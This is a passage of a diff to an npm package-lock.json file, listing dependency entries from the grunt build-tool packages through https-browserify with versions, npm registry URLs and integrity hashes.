"~2.0.0", + "grunt-legacy-util": "~1.1.1", + "iconv-lite": "~0.4.13", + "js-yaml": "~3.5.2", + "minimatch": "~3.0.2", + "mkdirp": "~0.5.1", + "nopt": "~3.0.6", + "path-is-absolute": "~1.0.0", + "rimraf": "~2.6.2" + }, + "bin": { + "grunt": "bin/grunt" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/grunt-browserify": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/grunt-browserify/-/grunt-browserify-5.3.0.tgz", + "integrity": "sha1-R/2M+LrFj+LeaDr9xX9/OoDKeS0=", + "dev": true, + "dependencies": { + "async": "^2.5.0", + "browserify": "^16.0.0", + "browserify-incremental": "^3.1.1", + "glob": "^7.1.2", + "lodash": "^4.17.4", + "resolve": "^1.1.6", + "watchify": "^3.6.1" + }, + "engines": { + "node": ">= 0.8.x" + } + }, + "node_modules/grunt-browserify/node_modules/async": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", + "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", + "dev": true, + "dependencies": { + "lodash": "^4.17.10" + } + }, + "node_modules/grunt-browserify/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/grunt-contrib-clean": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/grunt-contrib-clean/-/grunt-contrib-clean-1.1.0.tgz", + "integrity": "sha1-Vkq/LQN4qYOhW54/MO51tzjEBjg=", + "dev": true, + "dependencies": { + "async": "^1.5.2", + "rimraf": "^2.5.1" + }, + "engines": { + "node": ">= 0.10.0" + }, + "peerDependencies": { + "grunt": ">=0.4.5" + } + }, + "node_modules/grunt-contrib-compress": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/grunt-contrib-compress/-/grunt-contrib-compress-1.4.3.tgz", + "integrity": "sha1-Ac7/ucY39S5wgfRjdQmD0KOw+nM=", + "dev": true, + "dependencies": { + "archiver": "^1.3.0", + "chalk": "^1.1.1", + "lodash": "^4.7.0", + "pretty-bytes": "^4.0.2", + "stream-buffers": "^2.1.0" + }, + "engines": { + "node": ">=0.10.0" + }, + "optionalDependencies": { + "iltorb": "^1.0.13" + } + }, + "node_modules/grunt-contrib-compress/node_modules/archiver": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/archiver/-/archiver-1.3.0.tgz", + "integrity": "sha1-TyGU1tj5nfP1MeaIHxTxXVX6ryI=", + "dev": true, + "dependencies": { + "archiver-utils": "^1.3.0", + "async": "^2.0.0", + "buffer-crc32": "^0.2.1", + "glob": "^7.0.0", + "lodash": "^4.8.0", + "readable-stream": "^2.0.0", + "tar-stream": "^1.5.0", + "walkdir": "^0.0.11", + "zip-stream": "^1.1.0" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/grunt-contrib-compress/node_modules/async": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.0.tgz", + "integrity": "sha512-xAfGg1/NTLBBKlHFmnd7PlmUW9KhVQIUuSrYem9xzFUZy13ScvtyGGejaae9iAVRiRq9+Cx7DPFaAAhCpyxyPw==", + "dev": true, + "dependencies": { + "lodash": "^4.14.0" + } + }, + "node_modules/grunt-contrib-compress/node_modules/glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + } + }, + "node_modules/grunt-contrib-compress/node_modules/zip-stream": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-1.2.0.tgz", + "integrity": "sha1-qLxF9MG0lpnGuQGYuqyqzbzUugQ=", + "dev": true, + "dependencies": { + "archiver-utils": "^1.3.0", + "compress-commons": "^1.2.0", + "lodash": "^4.8.0", + "readable-stream": "^2.0.0" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/grunt-contrib-concat": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/grunt-contrib-concat/-/grunt-contrib-concat-1.0.1.tgz", + "integrity": "sha1-YVCYYwhOhx1+ht5IwBUlntl3Rb0=", + "dev": true, + "dependencies": { + "chalk": "^1.0.0", + "source-map": "^0.5.3" + }, + "engines": { + "node": ">=0.10.0" + }, + "peerDependencies": { + "grunt": ">=0.4.0" + } + }, + "node_modules/grunt-contrib-copy": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/grunt-contrib-copy/-/grunt-contrib-copy-1.0.0.tgz", + "integrity": "sha1-cGDGWB6QS4qw0A8HbgqPbj58NXM=", + "dev": true, + "dependencies": { + "chalk": "^1.1.1", + "file-sync-cmp": "^0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/grunt-contrib-jshint": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/grunt-contrib-jshint/-/grunt-contrib-jshint-1.1.0.tgz", + "integrity": "sha1-Np2QmyWTxA6L55lAshNAhQx5Oaw=", + "dev": true, + "dependencies": { + "chalk": "^1.1.1", + "hooker": "^0.2.3", + "jshint": "~2.9.4" + }, + "engines": { + "node": ">=0.10.0" + }, + "peerDependencies": { + "grunt": ">=0.4.0" + } + }, + "node_modules/grunt-contrib-jshint/node_modules/jshint": { + "version": "2.9.5", + "resolved": "https://registry.npmjs.org/jshint/-/jshint-2.9.5.tgz", + "integrity": "sha1-HnJSkVzmgbQIJ+4UJIxG006apiw=", + "dev": true, + "dependencies": { + "cli": "~1.0.0", + "console-browserify": "1.1.x", + "exit": "0.1.x", + "htmlparser2": "3.8.x", + "lodash": "3.7.x", + "minimatch": "~3.0.2", + "shelljs": "0.3.x", + "strip-json-comments": "1.0.x" + }, + "bin": { + "jshint": "bin/jshint" + } + }, + "node_modules/grunt-contrib-jshint/node_modules/lodash": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-3.7.0.tgz", + "integrity": "sha1-Nni9irmVBXwHreg27S7wh9qBHUU=", + "dev": true + }, + "node_modules/grunt-contrib-jshint/node_modules/strip-json-comments": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-1.0.4.tgz", + "integrity": "sha1-HhX7ysl9Pumb8tc7TGVrCCu6+5E=", + "dev": true, + "bin": { + "strip-json-comments": "cli.js" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/grunt-contrib-less": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/grunt-contrib-less/-/grunt-contrib-less-2.0.0.tgz", + "integrity": "sha512-nsaODoEMjVn61OuqPaFeFQpb4Qd/EbfxQDeYnh2oONXm8L5Gnuchtv59kl0V3hjiFdOkZlPILDc3ZrkoZI0PNw==", + "dev": true, + "dependencies": { + "async": "^2.0.0", + "chalk": "^1.0.0", + "less": "^3.0.4", + "lodash": "^4.17.10" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/grunt-contrib-less/node_modules/async": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", + "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", + "dev": true, + "dependencies": { + "lodash": "^4.17.10" + } + }, + "node_modules/grunt-contrib-watch": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/grunt-contrib-watch/-/grunt-contrib-watch-1.1.0.tgz", + "integrity": "sha512-yGweN+0DW5yM+oo58fRu/XIRrPcn3r4tQx+nL7eMRwjpvk+rQY6R8o94BPK0i2UhTg9FN21hS+m8vR8v9vXfeg==", + "dev": true, + "dependencies": { + "async": "^2.6.0", + "gaze": "^1.1.0", + "lodash": "^4.17.10", + "tiny-lr": "^1.1.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/grunt-contrib-watch/node_modules/async": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", + "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", + "dev": true, + "dependencies": { + "lodash": "^4.17.10" + } + }, + "node_modules/grunt-known-options": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/grunt-known-options/-/grunt-known-options-1.1.0.tgz", + "integrity": "sha1-pCdO6zL6dl2lp6OxcSYXzjsUQUk=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/grunt-legacy-log": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/grunt-legacy-log/-/grunt-legacy-log-2.0.0.tgz", + "integrity": "sha512-1m3+5QvDYfR1ltr8hjiaiNjddxGdQWcH0rw1iKKiQnF0+xtgTazirSTGu68RchPyh1OBng1bBUjLmX8q9NpoCw==", + "dev": true, + "dependencies": { + "colors": "~1.1.2", + "grunt-legacy-log-utils": "~2.0.0", + "hooker": "~0.2.3", + "lodash": "~4.17.5" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/grunt-legacy-log-utils": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/grunt-legacy-log-utils/-/grunt-legacy-log-utils-2.0.1.tgz", + "integrity": "sha512-o7uHyO/J+i2tXG8r2bZNlVk20vlIFJ9IEYyHMCQGfWYru8Jv3wTqKZzvV30YW9rWEjq0eP3cflQ1qWojIe9VFA==", + "dev": true, + "dependencies": { + "chalk": "~2.4.1", + "lodash": "~4.17.10" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/grunt-legacy-log-utils/node_modules/ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "dependencies": { + "color-convert": "^1.9.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/grunt-legacy-log-utils/node_modules/chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "dependencies": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/grunt-legacy-log-utils/node_modules/color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "dependencies": { + "color-name": "1.1.1" + } + }, + "node_modules/grunt-legacy-log-utils/node_modules/color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "node_modules/grunt-legacy-log-utils/node_modules/has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/grunt-legacy-log-utils/node_modules/supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/grunt-legacy-util": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/grunt-legacy-util/-/grunt-legacy-util-1.1.1.tgz", + "integrity": "sha512-9zyA29w/fBe6BIfjGENndwoe1Uy31BIXxTH3s8mga0Z5Bz2Sp4UCjkeyv2tI449ymkx3x26B+46FV4fXEddl5A==", + "dev": true, + "dependencies": { + "async": "~1.5.2", + "exit": "~0.1.1", + "getobject": "~0.1.0", + "hooker": "~0.2.3", + "lodash": "~4.17.10", + "underscore.string": "~3.3.4", + "which": "~1.3.0" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/grunt-run": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/grunt-run/-/grunt-run-0.8.1.tgz", + "integrity": "sha512-+wvoOJevugcjMLldbVCyspRHHntwVIJiTGjx0HFq+UwXhVPe7AaAiUdY4135CS68pAoRLhd7pAILpL2ITe1tmA==", + "dev": true, + "dependencies": { + "strip-ansi": "^3.0.0" + }, + "engines": { + "node": ">= 0.8.0" + }, + "peerDependencies": { + "grunt": ">=0.4.0" + } + }, + "node_modules/grunt-ssh": { + "version": "0.12.9", + "resolved": "https://registry.npmjs.org/grunt-ssh/-/grunt-ssh-0.12.9.tgz", + "integrity": "sha1-IVUaNzmB8Ooo3HmdOKdp5UzU2QQ=", + "dev": true, + "dependencies": { + "async": ">=1.0.0", + "progress": "~1.1.3", + "ssh2": "~0.4.6" + }, + "engines": { + "node": ">= 0.8.7" + }, + "peerDependencies": { + "grunt": "~0.4.1" + } + }, + "node_modules/grunt-text-replace": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/grunt-text-replace/-/grunt-text-replace-0.4.0.tgz", + "integrity": "sha1-252c5Z4v5J2id+nbwZXD4Rz7FsI=", + "dev": true, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/grunt-wp-i18n": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/grunt-wp-i18n/-/grunt-wp-i18n-1.0.2.tgz", + "integrity": "sha512-s7DdR1wRYWvgeQOELL/s8AmWz0scVUq+h0yYVWvLx23kTXOBslvaD35NTvubyM+MO+k29bgND0gDDvS6sHixfg==", + "dev": true, + "dependencies": { + "grunt": "^1.0.2", + "node-wp-i18n": "^1.0.5" + }, + "engines": { + "node": ">=0.12.0" + } + }, + "node_modules/grunt/node_modules/coffeescript": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/coffeescript/-/coffeescript-1.10.0.tgz", + "integrity": "sha1-56qDAZF+9iGzXYo580jc3R234z4=", + "dev": true, + "bin": { + "cake": "bin/cake", + "coffee": "bin/coffee" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/grunt/node_modules/grunt-cli": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/grunt-cli/-/grunt-cli-1.2.0.tgz", + "integrity": "sha1-VisRnrsGndtGSs4oRVAb6Xs1tqg=", + "dev": true, + "dependencies": { + "findup-sync": "~0.3.0", + "grunt-known-options": "~1.1.0", + "nopt": "~3.0.6", + "resolve": "~1.1.0" + }, + "bin": { + "grunt": "bin/grunt" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/grunt/node_modules/js-yaml": { + "version": "3.5.5", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.5.5.tgz", + "integrity": "sha1-A3fDgBfKvHMisNH7zSWkkWQfL74=", + "dev": true, + "dependencies": { + "argparse": "^1.0.2", + "esprima": "^2.6.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/grunt/node_modules/resolve": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz", + "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=", + "dev": true + }, + "node_modules/har-schema": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/har-validator": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.0.3.tgz", + "integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=", + "deprecated": "this library is no longer supported", + "dev": true, + "dependencies": { + "ajv": "^5.1.0", + "har-schema": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/has-ansi": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", + "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", + "dependencies": { + "ansi-regex": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-1.0.0.tgz", + "integrity": "sha1-nZ55MWXOAXoA8AQYxD+UKnsdEfo=", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-symbols": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.1.tgz", + "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-unicode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", + "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=", + "dev": true + }, + "node_modules/has-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", + "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", + "dependencies": { + "get-value": "^2.0.6", + "has-values": "^1.0.0", + "isobject": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-value/node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-values": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", + "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", + "dependencies": { + "is-number": "^3.0.0", + "kind-of": "^4.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-values/node_modules/is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "dependencies": { + "kind-of": "^3.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-values/node_modules/is-number/node_modules/kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/has-values/node_modules/kind-of": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", + "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", + "dependencies": { + "is-buffer": "^1.1.5" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/hash-base": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-2.0.2.tgz", + "integrity": "sha1-ZuodhW206KVHDK32/OI65SRO8uE=", + "dev": true, + "dependencies": { + "inherits": "^2.0.1" + } + }, + "node_modules/hash-sum": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/hash-sum/-/hash-sum-1.0.2.tgz", + "integrity": "sha1-M7QHd3VMZDJXPBIMw4CLvRDUfwQ=", + "dev": true + }, + "node_modules/hash.js": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.1.tgz", + "integrity": "sha512-I2TYCUjYQMmqmRMCp6jKMC5bvdXxGIZ/heITRR/0F1u0OP920ImEj/cXt3WgcTKBnNYGn7enxUzdai3db829JA==", + "dev": true, + "dependencies": { + "inherits": "^2.0.3", + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "bin": { + "he": "bin/he" + } + }, + "node_modules/hermes-estree": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.8.0.tgz", + "integrity": "sha512-W6JDAOLZ5pMPMjEiQGLCXSSV7pIBEgRR5zGkxgmzGSXHOxqV5dC/M1Zevqpbm9TZDE5tu358qZf8Vkzmsc+u7Q==", + "peer": true + }, + "node_modules/hermes-parser": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.8.0.tgz", + "integrity": "sha512-yZKalg1fTYG5eOiToLUaw69rQfZq/fi+/NtEXRU7N87K/XobNRhRWorh80oSge2lWUiZfTgUvRJH+XgZWrhoqA==", + "peer": true, + "dependencies": { + "hermes-estree": "0.8.0" + } + }, + "node_modules/hermes-profile-transformer": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/hermes-profile-transformer/-/hermes-profile-transformer-0.0.6.tgz", + "integrity": "sha512-cnN7bQUm65UWOy6cbGcCcZ3rpwW8Q/j4OP5aWRhEry4Z2t2aR1cjrbp0BS+KiBN0smvP1caBgAuxutvyvJILzQ==", + "peer": true, + "dependencies": { + "source-map": "^0.7.3" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/hermes-profile-transformer/node_modules/source-map": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz", + "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==", + "peer": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/hex-color-regex": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/hex-color-regex/-/hex-color-regex-1.1.0.tgz", + "integrity": "sha512-l9sfDFsuqtOqKDsQdqrMRk0U85RZc0RtOR9yPI7mRVOa4FsR/BVnZ0shmQRM96Ji99kYZP/7hn1cedc1+ApsTQ==", + "dev": true + }, + "node_modules/hmac-drbg": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz", + "integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=", + "dev": true, + "dependencies": { + "hash.js": "^1.0.3", + "minimalistic-assert": "^1.0.0", + "minimalistic-crypto-utils": "^1.0.1" + } + }, + "node_modules/home-or-tmp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/home-or-tmp/-/home-or-tmp-2.0.0.tgz", + "integrity": "sha1-42w/LSyufXRqhX440Y1fMqeILbg=", + "dev": true, + "dependencies": { + "os-homedir": "^1.0.0", + "os-tmpdir": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/hooker": { + "version": "0.2.3", + "resolved": "https://registry.npmjs.org/hooker/-/hooker-0.2.3.tgz", + "integrity": "sha1-uDT3I8xKJCqmWWNFnfbZhMXT2Vk=", + "dev": true, + "engines": { + "node": "*" + } + }, + "node_modules/hosted-git-info": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.7.1.tgz", + "integrity": "sha512-7T/BxH19zbcCTa8XkMlbK5lTo1WtgkFi3GvdWEyNuc4Vex7/9Dqbnpsf4JMydcfj9HCg4zUWFTL3Za6lapg5/w==", + "dev": true + }, + "node_modules/hsl-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/hsl-regex/-/hsl-regex-1.0.0.tgz", + "integrity": "sha1-1JMwx4ntgZ4nakwNJy3/owsY/m4=", + "dev": true + }, + "node_modules/hsla-regex": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/hsla-regex/-/hsla-regex-1.0.0.tgz", + "integrity": "sha1-wc56MWjIxmFAM6S194d/OyJfnDg=", + "dev": true + }, + "node_modules/html-comment-regex": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/html-comment-regex/-/html-comment-regex-1.1.1.tgz", + "integrity": "sha1-ZouTd26q5V696POtRkswekljYl4=", + "dev": true + }, + "node_modules/htmlescape": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/htmlescape/-/htmlescape-1.1.1.tgz", + "integrity": "sha1-OgPtwiFLyjtmQko+eVk0lQnLA1E=", + "dev": true, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/htmlparser2": { + "version": "3.8.3", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-3.8.3.tgz", + "integrity": "sha1-mWwosZFRaovoZQGn15dX5ccMEGg=", + "dev": true, + "dependencies": { + "domelementtype": "1", + "domhandler": "2.3", + "domutils": "1.5", + "entities": "1.0", + "readable-stream": "1.1" + } + }, + "node_modules/htmlparser2/node_modules/isarray": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz", + "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=", + "dev": true + }, + "node_modules/htmlparser2/node_modules/readable-stream": { + "version": "1.1.14", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz", + "integrity": "sha1-fPTFTvZI44EwhMY23SB54WbAgdk=", + "dev": true, + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" + } + }, + "node_modules/http-errors": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz", + "integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==", + "peer": true, + "dependencies": { + "depd": "2.0.0", + "inherits": "2.0.4", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "toidentifier": "1.0.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-errors/node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "peer": true + }, + "node_modules/http-errors/node_modules/statuses": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz", + "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==", + "peer": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/http-parser-js": { + "version": "0.4.13", + "resolved": "https://registry.npmjs.org/http-parser-js/-/http-parser-js-0.4.13.tgz", + "integrity": "sha1-O9bW/ebjFyyTNMOzO2wZPYD+ETc=", + "dev": true + }, + "node_modules/http-signature": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", + "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", + "dev": true, + "dependencies": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + }, + "engines": { + "node": ">=0.8", + "npm": ">=1.3.7" + } + }, + "node_modules/https-browserify": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/https-browserify/-/https-browserify-1.0.0.tgz", + "integrity": "sha1-7AbBDgo0wPL68Zn3/X/Hj//QPHM=", + "dev": true + }, + 